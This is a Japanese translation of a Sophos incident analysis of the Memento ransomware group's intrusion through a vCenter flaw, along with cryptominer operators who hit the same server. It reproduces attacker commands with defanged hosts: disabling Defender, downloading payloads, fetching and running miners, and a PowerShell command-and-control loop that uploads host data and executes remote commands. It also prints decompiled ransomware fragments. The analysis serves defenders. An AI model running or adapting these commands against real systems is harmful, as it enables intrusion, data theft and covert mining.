Creative Commons, J.Hannan-Briggs
脅威の調査

パスワードで保護されたアーカイブを利用して暗号化対策を回避するランサムウェア攻撃集団「Memento Team」

** 本記事は、New ransomware actor uses password-protected archives to bypass encryption protection の翻訳です。最新の情報は英語記事をご覧ください。**

10 月下旬、ソフォス MTR の Rapid Response チームは、攻撃を受けた組織のファイルを人質にするこれまでとは異なるアプローチを採用している新たな攻撃集団に遭遇しました。Memento が使用するランサムウェアは、ファイルを暗号化しません。代わりに、正規のファイルユーティリティである WinRAR の無料版を、名前を変えて使用しており、ファイルをパスワードで保護されたアーカイブにコピーした後、パスワードを暗号化して元のファイルを削除します。

最初の攻撃では、直接ファイルを暗号化しようと試みたものの、エンドポイントプロテクションによって攻撃が阻止されたため、攻撃者は戦術を変えました。これは被害者のネットワークに、異なる時期にコンパイルされた複数のバージョンのランサムウェアのペイロードが存在していたことからもわかります。攻撃者はファイルの復元と引き換えに 100 万米ドルの身代金を要求し、被害者がその要求に応じない場合はデータを流出させると脅しました。

Memento の攻撃には、他にもいくつかの特徴が見られます。ランサムウェア自体は、PyInstaller でコンパイルされた Python 3.9 のスクリプトです。攻撃者は、Revil で使用されていたフォーマット (「[-] What’s Happen [-]」というイントロ部分を含む) を流用した身代金メモで、被害者に Telegram アカウントから連絡するよう指示しています。また、攻撃者は、リモートデスクトッププロトコルを使ってネットワーク内を水平に移動し、オープンソースの Python ベースのキーロガーを複数のマシンに展開しました。

Memento 組織は、攻撃を開始するまでに長い時間をかけていいますが、ネットワークに最初に侵入するために使用したサーバーには別の攻撃者もアクセスしており、同時期に少なくとも 2 種類のクリプトマイナーがドロップされています。

最初の侵害

このランサムウェア組織は、2 月に明らかになった VMware の vCenter Server Web クライアントの脆弱性を悪用したと考えられます。ファイアウォールの設定にミスがあり、vCenter Server が TCP/IPポート 443 でインターネットに接続していました。この脆弱性により、 TCP/IP ポート443 にアクセスできる場合には、誰でもシステムレベル権限でリモートからコマンドを実行することが可能でした。また、このサーバーのマルウェアプロテクションは古く、EDRも設定されていませんでした。

この攻撃を実行したサイバー犯罪者は、4 月中旬には標的のネットワークに侵入していた痕跡がありますが、最初に侵入の明確な兆候が特定されたのは 5 月 4 日です。まず、Impacket ツールセットにある 2 つのツールを PyInstaller でコンパイルしたものを Windows サーバーにドロップしました。具体的には Windows Management Instrumentation でコマンドを実行するリモートシェルツール wmiexec と、ハッシュダンプツール secretsdump の 2 つのツールがドロップされています。ハッシュダンプツールは、アカウントの認証情報を後で取得するために使用されたと考えられます。

その 6 日後、この攻撃者は準備のために再びこのサーバーに侵入しています。まず、PowerShell コマンドを使用してマルウェアスキャンをオフにしようと試みています。

 powershell Set-MpPreference -DisableRealtimeMonitoring $true

これらのコマンドは wmiexec リモートシェルを使用して実行されており、韓国にあるホストに接続されていました。このホストには現在接続できなくなっています。

powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/r.exe -OutFile c:\temp\r.exe

powershell Invoke-WebRequest -Uri http://27.102.127[.] 120/x1.rar -OutFile c:\temp\x1.rar

powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/x2.rar -OutFile c:\temp\x2.rar

 

RAR アーカイブからは、以下のファイルが抽出されています。

  • pl.exe – SSH トンネリングツール Plink のコピーで、コンソールから侵害されたサーバーと対話型で接続できるようになります。
  • nm.ex – ネットワークスキャンツールである NMAP です。
  • Npcap-0.93.exe — ネットワークパケットキャプチャライブラリ NPCAP とその関連カーネルドライバのインストーラです。
  • mimikatz.exe — Mimikatz (認証情報の窃取ツール)

このサイバー犯罪者は Plink を使って、別の韓国の IP アドレス (27[.]102.66.114) から SSH で接続しました。次に、バッチファイル (wincert.bat) をスケジュールタスク (名前は Windows Defender Metadata Monitor) として設定して常駐化し、PowerShellの Invoke-RestMethod を使用して、韓国の発行者 (novelupdate[.]com) が運営する侵害された Web サーバーで動作している PHP スクリプトからコマンドを取得していました。このスクリプトは、別のドメイン (checkvisa[.]xyz) に対してもほぼ同じコールを使用していました。

攻撃者は、次に、取得した管理者認証情報を使用して、 SSH 接続を経由してリモートデスクトッププロトコルでサーバーに接続しました。そして、もう一つの偵察ツールである Advanced Port Scanner と Python 3.9.5 ランタイム環境をインストールしました。また、2 つのディスクユーティリティ (WizTree と WizTree and DiskSavvy) をドロップしました。 そして、Mimikatz と secretsdump を使って 3 つのアカウントを乗っ取り、侵害した管理者アカウントで 2 つの新しいアカウントを作成するなどの操作を実行して、標的組織のネットワークに水平方向に移動しています。

9 月 28 日、恐らくこのランサムウェアを使用する攻撃者だと考えられますが、誰かがファイル転送サービス transfer[.]sh を使用して、Plink の SSH 接続ツールの別コピーをドロップしました。この攻撃者は、この追加の Plink インスタンスを使用して、google[.]onedriver-srv[.]ml というホストの「dontstarve」アカウントへのリバースシェル接続を確立しました。この Plink のコピーは MicrosoftOutlookUpdater.exe というファイル名でドロップされ、SSH 接続の設定は MicrosoftOutlookUpdater.bat で呼び出されていますリバースシェル接続を確立した後に、攻撃者は「GoogleChangeManagementSchedule」という名前のタスクをスケジュールしました。このタスクは PowerShell でエンコードされたコマンドで、侵害したサーバーの IP アドレスに関するデータをアップロードし、偵察活動に関連すると考えられるデータを自動的にやりとりしていました。

$c = ""
$p=""
$r = ""
$u = "hxxp://google[.]onedriver-srv[.]ml/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0]
$Response = Invoke-WebRequest -Uri hxxp://curlmyip[.]net -UseBasicParsing
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "$env:tmp\$($Response.Content.Trim())-$($li)"
$ur = $wc.UploadFile("$u/phppost.php" , "$env:tmp\$($Response.Content.Trim())-$($li)")

while($true)
{
$c = $wc.DownloadString("$u/$($Response.Content.Trim())-$($li)/123.txt")
$c = 'Write-Host " ";'+$c

if($c -ne $p)
{
$r = &(gcm *ke-e*) $c | Out-String > "$env:tmp\$($Response.Content.Trim())-$($li)"
$p = $c
$ur = $wc.UploadFile("$u/phppost.php" , "$env:tmp\$($Response.Content.Trim())-$($li)")
}
sleep 3
}


多くのインターネットスキャンで vCenter の脆弱性が検出されておりこのサーバーには多くの攻撃者が関与していることから、誰がどのようにサーバーに攻撃をしたか特定することが困難になっています。

別の攻撃者によるセキュリティ侵害

5 月 18 日には、まったく別の攻撃者が vCenter の脆弱性を悪用し、 PowerShell コマンドを使用して仮想通貨モネロ (XMR) のクリプトマイナーをインストールしました。

powershell -nop -w hidden -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.exe'; $wc.DownloadFile('hxxp://45.77.76[.]158:25643/w', $tempfile); & $tempfile -u bdbe1601; Remove-Item -Force $tempfile

このクリプトマイナーのオペレーターは、ペイロードである tmp5FE0.tmp.exe を実行し、Windows ドライバーである WinRing0x64.sys をサービスとして登録することで、サーバーに搭載されているグラフィックカードを仮想通貨の採掘に使用していました。

9 月 8 日には、さらに別の攻撃者が別のクリプトマイナー (XMRig) をドロップしました。

powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://190.144.115[.]54:443 /mine.bat', $tempfile); &
 $tempfile 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R2yk1V7SZk
TWeBk6JiT2q5cXLa7T; 
Remove-Item -Force $tempfile

powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://lurchmath[.] org/wordpress-temp/ wp-content/plugins /xmrig.zip', 'C:\Windows\system32\config\systemprofile\xmrig.zip')

powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://190.144.115[.]54:443/mine.bat', $tempfile); & 
$tempfile 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R
2yk1V7SZkTWeBk6JiT2q5cXLa7T; 
Remove-Item -Force $tempfile

powershell -Command $out = cat 'C:\Windows\system32\config\systemprofile\mimu\config.json' | %{$_ -replace '"url": *".*",', '"url": "195.201.124[.]214:10001",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Windows\system32\config\systemprofile\mimu\config.json'

 

このクリプトマイナーのオペレーターは、NSSM サービスヘルパーのコピーをドロップし、実行中のサービスを監視して操作をしています (これは WordPress サイトからダウンロードされています)。

XMRig と NSSM は、10 月 3 日にも GitHub ページからダウンロードされています。そのときには、クリプトマイナーのオペレーターが作成した「support」という管理アカウントを使用してスクリプトを実行しています。

ランサムウェア攻撃

10 月、Memento Team は、ランサムウェアを起動するための準備を開始しました。この組織は、10 月 1 日に主要な拠点として使用していたサーバーに、管理ツール Process Hacker のコピーをドロップし、 Process Hacker のカーネルドライバをサービスとして設定し、システムに常駐しました。

その後 2 週間にわたり、RDP を使用してネットワークでの行動動範囲を拡大しています。RDP のログを削除して侵害の痕跡を消去しているケースも見られています。10 月 20 日には、WinRAR を使用してファイルを圧縮し、RDP 経由でアクセスできる共有ドライブのディレクトリにアーカイブを移動しました。また、攻撃の標的となった組織の主なシステム管理者のワークステーションに Python ベースのキーロガーを展開し、正規のリモートコントロールソフトウェア製品 (SOTI の MobiControl Remote Control) をインストールすることで、RDP セッションに継続的にアクセスできるようにしました。

データ収集が完了した 10 月 22 日、この攻撃者は Jetico のデータ消去ユーティリティ「BCWipe」を使用して、収集したアーカイブファイルの証拠を削除し、他のファイルのタイムスタンプを変更しました。また、ターミナルサービスのログを消去し、 RDP セッションの痕跡も消しました。

10 月 23 日の夜に、このランサムウェアが最初の攻撃を実行しました。

ランサムウェアの最初の攻撃である、RuntimeBroker.exe は、WinRAR を使用してファイルをアーカイブした後、アーカイブファイルを暗号化しようとしました。このランサムウェアは、前述のとおり、 Python 3.9 でコンパイルされた実行ファイルで、先に攻撃者がこのネットワークにインストールした Python インスタンスを使用してコンパイルした実行ファイルと考えられます。

コードが PyInstaller と Python 3.9 でコンパイルされていたため、ソフォスはこのランサムウェアの検体を完全にデコンパイルすることはできませんでしたが、デコンパイルによって、ランサムウェアの構造を理解し、動作の仕組みの大枠を特定することができました。ランサムウェアの主な機能は、「morph」というモジュールからインポートされた「Demon」関数を起動することだけでした。

 

from morph import Demon
def main():
demon = Demon()
Demon.start(demon)
if __name__ == '__main__':

main()

この Demon 関数を含む morph.pyc モジュールには、ランサムウェアが使用する多くのグローバル変数も含まれています。

KEYFILE = ‘config.key’
URL = ‘hxxp://78[.]138.105.150:11180/sv.php’
START_MSG = ‘Task Started.’
END_MSG = ‘Task Completed.’
CHECK_INTERVAL = 900
REPORT_INTERVAL = 25

config.key ファイルには、公開鍵が含まれています。この URL は、ランサムウェアの各インスタンスからのテレメトリを受信する C&C サーバーです。

「Demon」クラス自身は、他のランサムウェアのさまざまな攻撃方法を実行します。このクラスは、IP アドレスと Windows システム名に基づいてシステム固有の ID を生成し、C&C サーバー、暗号化コード、Stack Overflow から直接コピーしたリピートタイマーと通信するための「コネクタ」を起動します。このコネクタは、被害者の ID、システム情報、暗号化ルーチンがシステムファイルを通過するときの進捗メッセージなどのシステム情報を送信するために使用されます。

class Demon:
def __init__(self):
  self.id = createID()   # createID returns string with IP address and hostname, like "192.168.1.2-targeted-pc"
  self.start = datetime(2021, 10, 10, 15, 23)  # this time is the same in all three samples, later replaced with actual time
  self.filter = re.compile('.+', re.IGNORECASE)
  self.drivers = []
  self.total_cnt = 0
  self.total_bytes = 0
  self.cur_enc_cnt = 0
  self.cur_report_cnt = 0
  self.error_files = []
  self.connector = Connector(self.id, URL)         # Connector class is loaded from connect.pyc
  self.cryptor = Cryptor(KEYFILE)                  # Cryptor, the encryption code, is loaded from crypt.pyc
  self.timer = RepeatTimer(CHECK_INTERVAL, self.callbackCheckTimeUp)  # RepeatTimer is loaded from timer.pyc
  self.sendVicInfo()

...

「createID」関数は、上記コードに追加したコメントにあるように、ポート 80 で Google の DNS サービスへのソケット接続を作成し、接続先のローカル IP アドレス (socket.getsockname を使用) とシステムのホスト名を取得して、一意の ID を生成します。これらの値は 1 つの文字列に連結され、Memento の C&C サーバーはこれをシステム固有の ID として使用します。

「sendVicInfo」関数は、ランサムウェアのインスタンスが標的としているマシンのシステム情報を集約し、C&C に接続してランサムウェアの攻撃者に送信します。

def sendVicInfo(self):
ret_str = f'''<=== Start time ===>: {self.start}\n\n'''
uname = platform.uname()
ret_str += f'''System: {uname.system}\n'''
ret_str += f'''Node Name: {uname.node}\n'''
ret_str += f'''Release: {uname.release}\n'''
ret_str += f'''Version: {uname.version}\n'''
ret_str += f'''Machine: {uname.machine}\n'''
ret_str += f'''Processor: {uname.processor}\n\n'''
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
ret_str += f'''Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}\n\n'''
ret_str += 'Total cores: %s\n' % psutil.cpu_count(True, **('logical',))
ret_str += f'''Total CPU Usage: {psutil.cpu_percent()}%\n\n'''
svmem = psutil.virtual_memory()
ret_str += f'''Total: {convSize(svmem.total)}\n'''
ret_str += f'''RAM Percentage: {svmem.percent}%\n\n'''
partitions = psutil.disk_partitions()

 

このクリプターコードは、AES を使用してファイルを暗号化します。公開鍵のファイル名が引数として渡されますが、暗号化のための鍵として直接使用されるわけではありません。C&C サーバーから配信される秘密鍵と組み合わせて、使用されたパスワードを復号化し、 selfdel.py.vaultz というファイルを Python リソースファイルに復号化するために使用されます。 実際のファイルの暗号化は、暗号ブロックチェーンを使用する AES ベースであり、パスワードはファイルごとに生成され、RSA で暗号化されます。このクリプターを定義した crypt.pyc には、以下の imports と変数が設定されています。

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
import random
import string
import sys
import os
import subprocess
SEED_LEN = 32
INITIAL_VECTOR = b'\xa4' * AES.block_size
MAX_READ = 134217728
MAX_READ_PAD = MAX_READ + AES.block_size
ENC_EXT = 'vaultz'
SIG_EXT = 'vault-key'
RAR_EXE = 'r.exe'

 

「RAR_EXE」変数は、この最初のバージョンで攻撃者が使用した WinRAR のインスタンスへの参照です。これは、encryptFile_r と呼ばれる関数によって呼び出されているようです。別の encryptFile 関数がファイルの暗号化に使用され、そのときに encryptFile_r がファイルをアーカイブに入れています。いくつかのシステムがこのランサムウェアの最初のバージョンの影響を受けましたが、ランサムウェア対策が実行されていたシステムでは、暗号化がブロックされました。

手法を変更した第 2 の攻撃

Memento の攻撃者は、次の攻撃でアプローチを変えました。新しいコードは、最初にファイルを暗号化するのではなく、WinRAR 実行ファイルを使用して、パスワードで保護されたアーカイブにファイルを保存します。ランサムウェアの実行ファイルには、さらに 2 つのバリエーションがあり、どちらも main.exe としてコンパイルされていました。
どちらもコマンドライン引数ハンドラを追加し、Demon クラスにパラメータを渡せるようにしました。

Demon.start(demon, sys.argv[1])

2 つ目のバージョンには、コマンドラインから渡された引数の長さをチェックするコードを追加されています。最初のバージョンでは引数が渡されず失敗していることから、これはデバッグの結果と考えられます。

from morph import Demon
import sys 
def main(): 
demon = Demon() 
start = '' 
if len(sys.argv) > 1: 
start = sys.argv[1] 
Demon.start(demon, start)
if __name__ == '__main__': 
main()

morph.pyc ファイルには、フィルタファイル filter.txtへの参照が含まれるなど、いくつかの微細な変更が追加されています。

KEYFILE = 'config.key'
URL = 'hxxp://78[.]138.105.150:11180/sv.php'
START_MSG = 'Task Started.'
END_MSG = 'Task Completed.'
FILTER_FILE = 'filter.txt'
CHECK_INTERVAL = 3
REPORT_INTERVAL = 25

filter.txt の内容を以下に示します。

c:\\Documents and Settings
c:\\Users\\All Users
c:\\users\\Default User
c:\\Programdata\\Application Data 
C:\\ProgramData\\Desktop
C:\\ProgramData\\Documents 
C:\\ProgramData\\Start Menu"
C:\\ProgramData\\Templates 
C:\\windows 
RECYCLE.BIN 
Local Setting 
C:\\ 
System Volume Information

このフィルタは、暗号化しないパスや特定のファイルを指定するものと考えられます。

このランサムウェアは、暗号化処理が検出されないようにその動作を変更しています。この「crypt」コードは、ファイルを暗号化する代わりに、暗号化されていないファイルを、コピーした WinRAR を使ってアーカイブファイルに入れ、各ファイルを .vaultz というファイル拡張子を付けた独自のアーカイブに保存するように変更されました。アーカイブされた各ファイルには、パスワードが生成されました。そして、そのパスワード自体が暗号化されました。

これらの亜種は、最初の攻撃から数時間でビルドされて実行されています。攻撃者は、RDP と盗み出した認証情報を使用してこのマルウェアを手動で拡散しました。

Memento 組織が使用した攻撃手法の詳細

 

ファイルがアーカイブされた後に、Hello Message.txtという身代金のメモがドロップされました。このファイルは、この組織の主な IT 管理者のワークステーションのデスクトップフォルダに手動でドロップされています。この身代金メモは、身代金を支払わない場合に、データを外部に流出させる脅す内容になっていました。Revil の身代金メモと文面も内容もほぼ同じでした。しかし、Revil とは異なり、支払い要求はビットコインで行われ、Memento は一定期間内に支払うように指定していました。すべてのファイルを復号化する場合には 15.95BTC (約 100 万米ドル) を要求し、個々のファイルに対しては異なるレートを提示していました。

Memento の身代金メモ。Telegram の番号は、ロサンゼルスの市外局番の電話番号で、VoIP サービスで登録されたもののようです。

労多くして実りなし

Memento の攻撃者は標的ネットワークで 6 ヶ月以上も機が熟するのを待ってから、攻撃を開始しています。これだけ長い準備期間を設けたにもかかわらず、その計画は失敗に終わりました。

被害を受けた組織はこの犯罪組織との交渉に応じなかったのです。バックアップがあったため、標的の組織はほぼすべてのデータを復元でき、ほぼ通常通りの業務に復帰できたのです。また、InterceptX が動作していたシステムでは、EDR システムにより、ファイルをアーカイブするために攻撃で使用されたコマンドと、そのファイルのパスワードが暗号化されていない状態で記録されていました。SophosLabs とソフォスの Rapid Response チームは、被害者の一部のファイルを復元し、バックアップされていなかったファイルを復元する方法を提供しました。

ランサムウェア攻撃から復旧するためには、ネットワークにあるデータを効果的にバックアップする仕組みが不可欠です。残念ながら、データはまだ流出したままであり、組織に長期的な影響を与える可能性があります。

攻撃者が長期間システムに常駐したのは、最初に侵害した時点ではランサムウェアをドロップする準備ができていなかったことが一因だと考えられます。秘密裏に行動し、ファイルのタイムスタンプを変更し、侵害の兆候を示すログを消去することで、非常に長い期間、検出を回避しながら、ネットワークの詳細を完全に調べ上げていました。また、ネットワーク全体で RDP サービスが有効になっていたことから、手動のネットワーク間の水平移動が非常に容易になっており、侵入の痕跡をさらに削減することが可能になっていました。

パッチが適用されていないサーバーが 1 台でもあり、ファイアウォールの設定ミスによってインターネットに接続していたため、今回のインシデントでは、複数の攻撃者によってサーバー (Memento ランサムウェアのオペレーターの場合はネットワーク全体) が悪用されていました。これは、ベンダーが提供しているセキュリティパッチを速やかに適用することがいかに重要であるかを示しています。最初の侵害が発生する約 2 か月前から vCenter の脆弱性は公開されていたにも関わらず、このランサムウェアの攻撃者によってサーバーが暗号化されるまで、この脆弱性が攻撃され続けていました。残念ながら、小規模な組織では、Microsoft が自動的に配信するパッチ以外については、新たに検出された脆弱性を修正するためのパッチを適切かつ速やかに入手するための専門知識や時間が不足していることが多くあります。また、多くの組織は、サードパーティインテグレータ、開発を委託しているベンダー、サービスプロバイダによってインストールされた可能性のあるソフトウェアプラットフォームに潜在しているリスクを認識していません。

今回のインシデントで発生した Memento 攻撃とクリプトマイナー攻撃によるセキュリティ侵害の兆候 (IoC) の全リストは、SophosLab の GitHub ページで公開されています。

Sophos MTR の Rapid Response チームの Vikas Singh、Robert Weiland、Elida Leite、Kyle Link、Ratul Ghosh、Harinder Bhathal、Sergio Bestuilic、SophosLab の Ferenc László Nagy、 Rahul Dugar、 Nirav Parekh、 Gabor Szappanos による本記事への貢献に感謝いたします。